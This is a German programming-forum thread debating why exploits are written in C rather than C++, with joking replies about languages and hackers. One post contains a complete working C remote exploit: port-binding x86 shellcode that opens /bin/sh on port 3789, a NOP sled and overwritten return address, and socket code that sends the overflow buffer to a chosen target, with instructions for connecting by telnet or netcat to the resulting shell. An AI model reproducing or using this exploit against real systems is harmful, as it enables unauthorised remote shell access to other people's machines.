Wieso sind Exploits in C?



  • Wieso sind Exploits in C und in C++? Ich will endlich mal ein c++ Exploit sehen!



  • es gibt keine



  • dann schreib dir eins



  • Versteh ich nicht schrieb:

    Wieso sind Exploits in C und in C++? Ich will endlich mal ein c++ Exploit sehen!

    weil die ganze open-souce-software in c ist.
    und die, die kapiert haben, warum sie c++ statt c nehmen, bauen auch software, die nicht gerade viele löcher hat.



  • volkard schrieb:

    und die, die kapiert haben, warum sie c++ statt c nehmen, bauen auch software, die nicht gerade viele löcher hat.

    ? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.



  • Daniel E. schrieb:

    ? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.

    ups. jo.
    dann isses unfug, nur c-expoits zu kennen. man nimmt einfach die sprache, die dem problem am nächsten kommt. also perl für normale kaputte netzwerkpakete, c für nen buffer overflow, vb für nen outlook-express-wurm...



  • Meine Ideen dazu:

    1. C-Compiler sind verbreiteter, übersetzen schneller und sind ausgereifter.
    2. Exploits sind typischerweise designtechnisch so simpel, dass sie von C++ nicht profitieren würden.
    3. Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? 😉 )


  • Bashar schrieb:

    1. Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? 😉 )

    Widerspruch! *g*
    Ich bin eher dafür, dass die Leute, die C++ kapieren, finden, dass hacken langweilig und dumm ist. 😃



  • Mr. N schrieb:

    Bashar schrieb:

    1. Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? 😉 )

    Widerspruch! *g*

    wo?



  • Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!



  • Versteh ich nicht schrieb:

    Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!

    die Aussage ist falsch



  • [garnich ernst gemeint]
    weil es einfacher ist nen printf zu schreiben als
    cout<<"found ISS\ntry to inject Wurm"<<endl;
    [/garnich ernst gemeint][code]



  • Wenn schon, steht da nicht
    try to inject Wurm
    sondern
    trying to inject worm 😃

    ChrisM



  • Ein Exploit, der eine Shell öffnet, der Rest steht ja im Kommentar,

    /* Simple remote exploit, which binds a shell on port 3789
     * by triton
     *
     * After return address was overwritten, you can connect
     * with telnet or netcat to the victim host on Port 3789
     * After you logged in... there's nothing, but try to enter "id;" (don't forget the semicolon)
     * So you should get an output, ok you've got a shell *g*. Always use:
     *
     * <command>;
     *
     * execute.
     */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <netinet/in.h>
    //Portbinding Shellcode
    char shellcode[] = 
    "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
    "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
    "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
    "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
    "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
    "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
    "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
    "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
    
    //standard offset (probably must be modified)
    #define RET 0xbffff2b8
    
    int main(int argc, char *argv[]) {
        char buffer[1064];
        int s, i, size;
        struct sockaddr_in remote;
        struct hostent *host;
        if(argc != 3) {
            printf("Usage: %s target-ip port\n", argv[0]);
            return -1;
        }
    
        // filling buffer with NOPs
        memset(buffer, 0x90, 1064);
    
        //copying shellcode into buffer
        memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
    
        // the previous statement causes a unintential Nullbyte at buffer[1000]
        buffer[1000] = 0x90;
    
        // Copying the return address multiple times at the end of the buffer...
        for(i=1022; i < 1059; i+=4) {
            * ((int *) &buffer[i]) = RET;
        }
    
        buffer[1063] = 0x0;
    
        //getting hostname
        host=gethostbyname(argv[1]);
        if (host==NULL) {
            fprintf(stderr, "Unknown Host %s\n",argv[1]);
            return -1;
        }
    
        // creating socket...
        s = socket(AF_INET, SOCK_STREAM, 0);
        if (s < 0) {
            fprintf(stderr, "Error: Socket\n");
            return -1;
        }
    
        //state Protocolfamily , then converting the hostname or IP address, and getting port number
        remote.sin_family = AF_INET;
        remote.sin_addr = *((struct in_addr *)host->h_addr);
        remote.sin_port = htons(atoi(argv[2]));
    
        // connecting with destination host
        if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
            close(s);
            fprintf(stderr, "Error: connect\n");
            return -1;
        }
    
        //sending exploit string
        size = send(s, buffer, sizeof(buffer), 0);
        if (size==-1) {
            close(s);
            fprintf(stderr, "sending data failed\n");
            return -1;
        }
    
        // closing socket
        close(s);
    }
    

    edit by vh: code formatiert



  • Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!



  • ºgrimmsenº® schrieb:

    Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!

    stimmt.
    und zum impfen des anderen rechners ist ein wenig c genommenm worden. da wär aber perl angenehmern gewesen.


Anmelden zum Antworten